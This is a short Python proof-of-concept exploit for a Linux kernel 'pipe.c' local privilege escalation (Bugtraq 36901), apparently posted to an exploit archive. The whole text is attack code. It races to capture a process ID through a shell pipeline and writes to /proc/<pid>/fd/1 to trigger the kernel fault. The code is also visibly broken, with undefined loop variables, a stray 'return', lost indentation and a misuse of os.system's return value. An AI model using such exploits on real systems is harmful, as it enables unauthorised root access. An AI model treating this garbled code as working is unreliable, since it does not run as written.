Linux Kernel pipe.c Local Privilege Escalation

`# This is a PoC based off the PoC release by Earl Chew  
# Linux Kernel 'pipe.c' Local Privilege Escalation Vulnerability  
# PoC by Matthew Bergin  
# Bugtraq ID: 36901  
  
import os  
import time  
import random  
#infinite loop  
while (i == 0):  
os.system("sleep 1")  
while (x == 0):  
time.sleep(random.random()) #random int 0.0-1.0  
pid = str(os.system("ps -efl | grep 'sleep 1' | grep -v grep | { read PID REST ; echo $PID; }"))  
if (pid == 0): #need an active pid, race condition applies  
print "[+] Didnt grab PID, got: " + pid + " -- Retrying..."  
return  
else:  
print "[+] PID: " + pid  
loc = "echo n > /proc/" + pid + "/fd/1"  
os.system(loc) # triggers the fault, runs via sh  
  
  
`